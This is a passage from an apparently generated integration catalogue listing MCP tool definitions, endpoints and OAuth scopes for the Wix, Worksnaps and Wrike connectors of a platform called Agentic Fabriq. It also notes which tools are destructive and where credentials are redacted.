/api/v1/wix/stores/v3/ribbons/query. Scopes: SCOPE.STORES.RIBBON_READ. wix_post_v3_posts_query (read) — Query Posts via POST /v3/posts/query POST /api/v1/wix/v3/posts/query. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_post_v3_tags (write) — Create Tag via POST /v3/tags POST /api/v1/wix/v3/tags. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_post_v3_tags_query (read) — Query Tags via POST /v3/tags/query POST /api/v1/wix/v3/tags/query. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_put_ecom_v1_draft_orders_set_billing_info (write) — Set Billing Info via PUT /ecom/v1/draft-orders/set-billing-info PUT /api/v1/wix/ecom/v1/draft-orders/set-billing-info. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_put_ecom_v1_draft_orders_set_business_location (write) — Set Business Location via PUT /ecom/v1/draft-orders/set-business-location PUT /api/v1/wix/ecom/v1/draft-orders/set-business-location. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_put_ecom_v1_draft_orders_set_buyer_info (write) — Set Buyer Info via PUT /ecom/v1/draft-orders/set-buyer-info PUT /api/v1/wix/ecom/v1/draft-orders/set-buyer-info. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_put_ecom_v1_draft_orders_set_recipient_info (write) — Set Recipient Info via PUT /ecom/v1/draft-orders/set-recipient-info PUT /api/v1/wix/ecom/v1/draft-orders/set-recipient-info. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_put_ecom_v1_draft_orders_set_shipping_info (write) — Set Shipping Info via PUT /ecom/v1/draft-orders/set-shipping-info PUT /api/v1/wix/ecom/v1/draft-orders/set-shipping-info. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_put_ecom_v1_draft_orders_set_tax_exemption (write) — Set Tax Exemption via PUT /ecom/v1/draft-orders/set-tax-exemption PUT /api/v1/wix/ecom/v1/draft-orders/set-tax-exemption. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_put_events_v1_events_by_eventid_form_controls_by_id (write) — Update Control via PUT /events/v1/events/{eventId}/form/controls/{id} PUT /api/v1/wix/events/v1/events/{eventId}/form/controls/{id}. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_put_members_v1_activity_counters_by_memberid (write) — Set Activity Counters via PUT /members/v1/activity-counters/{memberId} PUT /api/v1/wix/members/v1/activity-counters/{memberId}. Scopes: SCOPE.DC-MEMBERS.MANAGE-ACTIVITY-COUNTERS. ================================================================================ ## Worksnaps URL: https://www.agenticfabriq.com/integrations/worksnaps Section: Integrated Tools Worksnaps — 35 MCP tools Provider key: worksnaps. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. worksnaps_delete_projects_by_project_id_task_assignments_by_task_assignment_id_xml (write, destructive) — Delete a task assignment via DELETE /projects/{project_id}/task_assignments/{task_assignment_id}.xml. DESTRUCTIVE: Worksnaps publishes no undelete for this record. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. DELETE /api/v1/worksnaps/projects/{project_id}/task_assignments/{task_assignment_id}.xml. Scopes: api. worksnaps_delete_projects_by_project_id_task_assignments_xml (write, destructive) — Unassign a task from a user via DELETE /projects/{project_id}/task_assignments.xml. DESTRUCTIVE: Worksnaps publishes no undelete for this record. Addressed by the `user_id` and `task_id` QUERY parameters, both required, rather than by an assignment id in the path -- the only destructive tool on this provider that is not addressed entirely by its path. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. DELETE /api/v1/worksnaps/projects/{project_id}/task_assignments.xml. Scopes: api. worksnaps_delete_projects_by_project_id_tasks_by_task_id_xml (write, destructive) — Delete a task via DELETE /projects/{project_id}/tasks/{task_id}.xml. DESTRUCTIVE: Worksnaps publishes no undelete for this record. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. DELETE /api/v1/worksnaps/projects/{project_id}/tasks/{task_id}.xml. Scopes: api. worksnaps_delete_projects_by_project_id_time_entries_by_time_entry_id_xml (write, destructive) — Delete a time entry via DELETE /projects/{project_id}/time_entries/{time_entry_id}.xml. DESTRUCTIVE: Worksnaps publishes no undelete for this record. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. DELETE /api/v1/worksnaps/projects/{project_id}/time_entries/{time_entry_id}.xml. Scopes: api. worksnaps_delete_projects_by_project_id_user_assignments_by_user_assignment_id_xml (write, destructive) — Remove a user from a project via DELETE /projects/{project_id}/user_assignments/{user_assignment_id}.xml. DESTRUCTIVE: Worksnaps publishes no undelete for this record. Removes the user from the project. Worksnaps publishes no undelete. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. DELETE /api/v1/worksnaps/projects/{project_id}/user_assignments/{user_assignment_id}.xml. Scopes: api. worksnaps_delete_projects_by_project_id_xml (write, destructive) — Delete a project via DELETE /projects/{project_id}.xml. DESTRUCTIVE: Worksnaps publishes no undelete for this record. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. DELETE /api/v1/worksnaps/projects/{project_id}.xml. Scopes: api. worksnaps_get_me_xml (read) — Show the connected Worksnaps user via GET /me.xml. Reads the identity the connection's own API token belongs to, which is the fastest way to confirm which Worksnaps user this connection acts as. Worksnaps' reply carries that user's own `api_token`; Agentic Fabriq redacts it, along with `password`, before the result leaves the connector. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/me.xml. Scopes: api. worksnaps_get_projects_by_project_id_reports (read) — Run a project time report via GET /projects/{project_id}/reports. `name` selects which report Worksnaps runs; `from_timestamp`, `to_timestamp` and `user_ids` are required alongside it. The reply is a `time_summary` of `summary_line_item` rows rather than time entries. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/reports. Scopes: api. worksnaps_get_projects_by_project_id_task_assignments_by_task_assignment_id_xml (read) — Show a task assignment via GET /projects/{project_id}/task_assignments/{task_assignment_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/task_assignments/{task_assignment_id}.xml. Scopes: api. worksnaps_get_projects_by_project_id_task_assignments_xml (read) — List a project's task assignments via GET /projects/{project_id}/task_assignments.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/task_assignments.xml. Scopes: api. worksnaps_get_projects_by_project_id_tasks_by_task_id_xml (read) — Show a task via GET /projects/{project_id}/tasks/{task_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/tasks/{task_id}.xml. Scopes: api. worksnaps_get_projects_by_project_id_tasks_xml (read) — List a project's tasks via GET /projects/{project_id}/tasks.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/tasks.xml. Scopes: api. worksnaps_get_projects_by_project_id_time_entries_by_time_entry_id_xml (read) — Show a time entry via GET /projects/{project_id}/time_entries/{time_entry_id}.xml. Returns the thumbnail screenshot URL. Use the full-resolution tool for the full-size image URL: Worksnaps serves it from the same endpoint under a fixed `full_resolution_url=1`, which Agentic Fabriq sets server-side rather than exposing as an argument. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/time_entries/{time_entry_id}.xml. Scopes: api. worksnaps_get_projects_by_project_id_time_entries_by_time_entry_id_xml_full_resolution_url_1 (read) — Show a time entry with its full-resolution screenshot URL via GET /projects/{project_id}/time_entries/{time_entry_id}.xml. Agentic Fabriq sets full_resolution_url=1 on this request server-side; it is not an argument. The same time entry as the ordinary show tool, with `full_resolution_url` in place of the thumbnail URL. The switch is a fixed query value Agentic Fabriq sets server-side, so this is a separate tool rather than an argument on the other one -- a caller able to set it could reach the full-resolution screenshot through the grant for the thumbnail. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/time_entries/{time_entry_id}/full_resolution.xml. Scopes: api. worksnaps_get_projects_by_project_id_time_entries_xml (read) — List a project's time entries via GET /projects/{project_id}/time_entries.xml. `user_ids`, `from_timestamp` and `to_timestamp` are all required; `user_ids` and `task_ids` are comma-separated lists of ids and the timestamps are Unix epoch seconds. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/time_entries.xml. Scopes: api. worksnaps_get_projects_by_project_id_user_assignments_by_user_assignment_id_xml (read) — Show a user assignment via GET /projects/{project_id}/user_assignments/{user_assignment_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/user_assignments/{user_assignment_id}.xml. Scopes: api. worksnaps_get_projects_by_project_id_user_assignments_xml (read) — List a project's user assignments via GET /projects/{project_id}/user_assignments.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/user_assignments.xml. Scopes: api. worksnaps_get_projects_by_project_id_users_by_user_id_time_entries_xml (read) — List one user's time entries in a project via GET /projects/{project_id}/users/{user_id}/time_entries.xml. `from_timestamp` and `to_timestamp` are required and are Unix epoch seconds. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}/users/{user_id}/time_entries.xml. Scopes: api. worksnaps_get_projects_by_project_id_xml (read) — Show a project via GET /projects/{project_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects/{project_id}.xml. Scopes: api. worksnaps_get_projects_xml (read) — List projects via GET /projects.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/projects.xml. Scopes: api. worksnaps_get_summary_reports (read) — Run a cross-project summary report via GET /summary_reports. Spans projects rather than living under one. `name`, `from_date` and `to_date` are required; the dates are calendar dates rather than the epoch timestamps the project-scoped tools take, and `timezone_offset` decides which day a worksnap falls in. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/summary_reports. Scopes: api. worksnaps_get_users_by_user_id_xml (read) — Show a user via GET /users/{user_id}.xml. Worksnaps' reply carries that user's `api_token` and `password` fields; Agentic Fabriq redacts both before the result leaves the connector. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/users/{user_id}.xml. Scopes: api. worksnaps_get_users_xml (read) — List users via GET /users.xml. Worksnaps' reply carries each user's `api_token` and `password` fields. Agentic Fabriq redacts both at every depth before the result leaves the connector -- unredacted, one granted read would hand out working credentials for other people's Worksnaps accounts. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. GET /api/v1/worksnaps/users.xml. Scopes: api. worksnaps_post_projects_by_project_id_task_assignments_xml (write) — Assign a task to a user via POST /projects/{project_id}/task_assignments.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. POST /api/v1/worksnaps/projects/{project_id}/task_assignments.xml. Scopes: api. worksnaps_post_projects_by_project_id_tasks_xml (write) — Create a task in a project via POST /projects/{project_id}/tasks.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. POST /api/v1/worksnaps/projects/{project_id}/tasks.xml. Scopes: api. worksnaps_post_projects_by_project_id_time_entries_xml (write) — Add offline time to a project via POST /projects/{project_id}/time_entries.xml. Adds OFFLINE time. Worksnaps logs online time from its own client application; this writes a manually-entered entry against the caller's own user in the project. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. POST /api/v1/worksnaps/projects/{project_id}/time_entries.xml. Scopes: api. worksnaps_post_projects_by_project_id_user_assignments_xml (write) — Add a user to a project via POST /projects/{project_id}/user_assignments.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. POST /api/v1/worksnaps/projects/{project_id}/user_assignments.xml. Scopes: api. worksnaps_post_projects_by_project_id_users_by_user_id_time_entries_xml (write) — Add offline time for one user in a project via POST /projects/{project_id}/users/{user_id}/time_entries.xml. Adds OFFLINE time on behalf of the named user. Whether an end user's token may write time for a DIFFERENT user is decided by that user's role in the project and is not something this integration can check before the call. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. POST /api/v1/worksnaps/projects/{project_id}/users/{user_id}/time_entries.xml. Scopes: api. worksnaps_post_projects_xml (write) — Create a project via POST /projects.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. POST /api/v1/worksnaps/projects.xml. Scopes: api. worksnaps_post_users_xml (write) — Create a user via POST /users.xml. PRIVILEGED, AND THIS CONNECTION CANNOT CALL IT. Worksnaps classifies user creation as a trusted-application operation: "when issuing these API calls, a partner API token needs to be used instead of an end user's API token", and a partner API token is agreed out-of-band between Worksnaps and a partner rather than issued self-service. This integration holds an end user's personal token, so the connector refuses this tool BY NAME before dialling rather than letting Worksnaps answer something that reads like a bad key. Create the user in the Worksnaps web interface instead. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. POST /api/v1/worksnaps/users.xml. Scopes: api. worksnaps_put_projects_by_project_id_tasks_by_task_id_xml (write) — Update a task via PUT /projects/{project_id}/tasks/{task_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. PUT /api/v1/worksnaps/projects/{project_id}/tasks/{task_id}.xml. Scopes: api. worksnaps_put_projects_by_project_id_time_entries_by_time_entry_id_xml (write) — Update a time entry via PUT /projects/{project_id}/time_entries/{time_entry_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. PUT /api/v1/worksnaps/projects/{project_id}/time_entries/{time_entry_id}.xml. Scopes: api. worksnaps_put_projects_by_project_id_user_assignments_by_user_assignment_id_xml (write) — Update a user assignment via PUT /projects/{project_id}/user_assignments/{user_assignment_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. PUT /api/v1/worksnaps/projects/{project_id}/user_assignments/{user_assignment_id}.xml. Scopes: api. worksnaps_put_projects_by_project_id_xml (write) — Update a project via PUT /projects/{project_id}.xml. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. PUT /api/v1/worksnaps/projects/{project_id}.xml. Scopes: api. worksnaps_put_users_by_user_id_xml (write) — Update a user via PUT /users/{user_id}.xml. The reply carries the user's `api_token` and `password`; Agentic Fabriq redacts both. Sending `password` in the body changes that user's Worksnaps password. Worksnaps speaks XML, not JSON: Agentic Fabriq sends `Accept: application/xml`, serialises this tool's `body` object into the XML document Worksnaps documents, and parses the XML reply back into data before returning it, so arguments and results are ordinary JSON here. A reply that cannot be parsed is returned as `{"raw": "<the XML>"}` rather than discarded. PUT /api/v1/worksnaps/users/{user_id}.xml. Scopes: api. ================================================================================ ## Wrike URL: https://www.agenticfabriq.com/integrations/wrike Section: Integrated Tools Wrike — 195 MCP tools Provider key: wrike. Scopes: amReadOnlyAccessRole, amReadOnlyAuditLog, amReadOnlyGroup, amReadOnlyInvitation, amReadOnlyUser, amReadOnlyWorkSchedule, amReadWriteGroup, amReadWriteInvitation, amReadWriteUser, amReadWriteWorkSchedule, amReadWriteWorkflow, dataExportFull, wsReadOnly, wsReadWrite. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. wrike_delete_approvals_by_approvalid (write, destructive) — Cancel approval via DELETE /approvals/{approvalId} DELETE /api/v1/wrike/approvals/{approvalId}. Scopes: wsReadWrite. wrike_delete_assets_by_assetid (write, destructive) — Delete Equipment via DELETE /assets/{assetId} DELETE /api/v1/wrike/assets/{assetId}. Scopes: amReadWriteUser. wrike_delete_attachments_by_attachmentid (write, destructive) — Delete Attachment via DELETE /attachments/{attachmentId} DELETE /api/v1/wrike/attachments/{attachmentId}. Scopes: wsReadWrite. wrike_delete_bookings_by_bookingid (write, destructive) — Delete Booking via DELETE /bookings/{bookingId} DELETE /api/v1/wrike/bookings/{bookingId}. Scopes: wsReadWrite. wrike_delete_comments_by_commentid (write, destructive) — Delete Comment via DELETE /comments/{commentId} DELETE /api/v1/wrike/comments/{commentId}. Scopes: wsReadWrite. wrike_delete_dependencies_by_dependencyid (write, destructive) — Delete Dependency via DELETE /dependencies/{dependencyId} DELETE /api/v1/wrike/dependencies/{dependencyId}. Scopes: wsReadWrite. wrike_delete_folders_by_folderid (write, destructive) — Delete Folder via DELETE /folders/{folderId} DELETE /api/v1/wrike/folders/{folderId}. Scopes: wsReadWrite. wrike_delete_folders_by_folderid_cascading_field_settings (write, destructive) — Delete active cascading field settings via DELETE /folders/{folderId}/cascading_field_settings DELETE /api/v1/wrike/folders/{folderId}/cascading_field_settings. Scopes: wsReadWrite. wrike_delete_folders_by_folderid_project_team_members (write, destructive) — Exclude team members via DELETE /folders/{folderId}/project_team_members DELETE /api/v1/wrike/folders/{folderId}/project_team_members. Scopes: wsReadWrite. wrike_delete_folders_by_folderid_timelog_lock_periods (write, destructive) — Delete Timelog Lock (Folder) via DELETE /folders/{folderId}/timelog_lock_periods DELETE /api/v1/wrike/folders/{folderId}/timelog_lock_periods. Scopes: wsReadWrite. wrike_delete_groups_by_groupid (write, destructive) — Delete Groups via DELETE /groups/{groupId} DELETE /api/v1/wrike/groups/{groupId}. Scopes: amReadWriteGroup. wrike_delete_invitations_by_invitationid (write, destructive) — Delete Invitation via DELETE /invitations/{invitationId} DELETE /api/v1/wrike/invitations/{invitationId}. Scopes: amReadWriteInvitation. wrike_delete_jobroles_by_jobroleid (write, destructive) — Delete Job Role via DELETE /jobroles/{jobroleId} DELETE /api/v1/wrike/jobroles/{jobroleId}. Scopes: amReadWriteUser. wrike_delete_spaces_by_spaceid (write, destructive) — Delete Space via DELETE /spaces/{spaceId} DELETE /api/v1/wrike/spaces/{spaceId}. Scopes: wsReadWrite. wrike_delete_spaces_by_spaceid_timelog_lock_periods (write, destructive) — Delete Timelog Lock (Space) via DELETE /spaces/{spaceId}/timelog_lock_periods DELETE /api/v1/wrike/spaces/{spaceId}/timelog_lock_periods. Scopes: wsReadWrite. wrike_delete_tasks_by_taskid (write, destructive) — Delete Tasks By ID via DELETE /tasks/{taskId} DELETE /api/v1/wrike/tasks/{taskId}. Scopes: wsReadWrite. wrike_delete_tasks_by_taskid_cascading_field_settings (write, destructive) — Delete active cascading field settings via DELETE /tasks/{taskId}/cascading_field_settings DELETE /api/v1/wrike/tasks/{taskId}/cascading_field_settings. Scopes: wsReadWrite. wrike_delete_timelogs_by_timelogid (write, destructive) — Delete Timelog via DELETE /timelogs/{timelogId} DELETE /api/v1/wrike/timelogs/{timelogId}. Scopes: wsReadWrite. wrike_delete_user_schedule_capacity_change_by_userschedulecapacitychangeid (write, destructive) — Delete User Schedule Capacity change via DELETE /user_schedule_capacity_change/{userScheduleCapacityChangeId} DELETE /api/v1/wrike/user_schedule_capacity_change/{userScheduleCapacityChangeId}. Scopes: amReadWriteWorkSchedule. wrike_delete_user_schedule_exclusions_by_userscheduleexclusionid (write, destructive) — Delete User Schedule exception via DELETE /user_schedule_exclusions/{userScheduleExclusionId} DELETE /api/v1/wrike/user_schedule_exclusions/{userScheduleExclusionId}. Scopes: amReadWriteWorkSchedule. wrike_delete_user_schedule_partial_exclusion_by_userschedulepartialexclusionid (write, destructive) — Delete User Schedule partial exception via DELETE /user_schedule_partial_exclusion/{userSchedulePartialExclusionId} DELETE /api/v1/wrike/user_schedule_partial_exclusion/{userSchedulePartialExclusionId}. Scopes: amReadWriteWorkSchedule. wrike_delete_workschedule_capacity_change_by_workschedulecapacitychangeid (write, destructive) — Delete Work Schedule capacity change via DELETE /workschedule_capacity_change/{workscheduleCapacityChangeId} DELETE /api/v1/wrike/workschedule_capacity_change/{workscheduleCapacityChangeId}. Scopes: amReadWriteWorkSchedule. wrike_delete_workschedule_exclusions_by_workscheduleexclusionid (write, destructive) — Delete Work Schedule exception via DELETE /workschedule_exclusions/{workscheduleExclusionId} DELETE /api/v1/wrike/workschedule_exclusions/{workscheduleExclusionId}. Scopes: amReadWriteWorkSchedule. wrike_delete_workschedules_by_workscheduleid (write, destructive) — Delete Work Schedule via DELETE /workschedules/{workscheduleId} DELETE /api/v1/wrike/workschedules/{workscheduleId}. Scopes: amReadWriteWorkSchedule. wrike_get_access_roles (read) — Get Access Roles via GET /access_roles GET /api/v1/wrike/access_roles. Scopes: amReadOnlyAccessRole. wrike_get_account (read) — Query Accounts via GET /account GET /api/v1/wrike/account. Scopes: wsReadOnly. wrike_get_approvals (read) — Get Approvals (Account) via GET /approvals GET /api/v1/wrike/approvals. Scopes: wsReadOnly. wrike_get_approvals_by_approvalids (read) — Get Approvals By ID via GET /approvals/{approvalIds} GET /api/v1/wrike/approvals/{approvalIds}. Scopes: wsReadOnly. wrike_get_async_job_by_asyncjobid (read) — Get async job via GET /async_job/{asyncJobId} GET /api/v1/wrike/async_job/{asyncJobId}. Scopes: wsReadOnly. wrike_get_attachments (read) — Get Attachments (Account) via GET /attachments GET /api/v1/wrike/attachments. Scopes: wsReadOnly. wrike_get_attachments_by_attachmentid_url (read) — Get Attachment URL via GET /attachments/{attachmentId}/url GET /api/v1/wrike/attachments/{attachmentId}/url. Scopes: wsReadOnly. wrike_get_attachments_by_attachmentids (read) — Get Attachments By ID via GET /attachments/{attachmentIds} GET /api/v1/wrike/attachments/{attachmentIds}. Scopes: wsReadOnly. wrike_get_audit_log (read) — Get Audit Log via GET /audit_log GET /api/v1/wrike/audit_log. Scopes: amReadOnlyAuditLog. wrike_get_bookings (read) — Get Bookings (Account) via GET /bookings GET /api/v1/wrike/bookings. Scopes: wsReadOnly. wrike_get_bookings_by_bookingids (read) — Get Bookings By ID via GET /bookings/{bookingIds} GET /api/v1/wrike/bookings/{bookingIds}. Scopes: wsReadOnly. wrike_get_colors (read) — Query Colors via GET /colors GET /api/v1/wrike/colors. Scopes: wsReadOnly. wrike_get_comments (read) — Get Comments (Account) via GET /comments GET /api/v1/wrike/comments. Scopes: wsReadOnly. wrike_get_comments_by_commentids 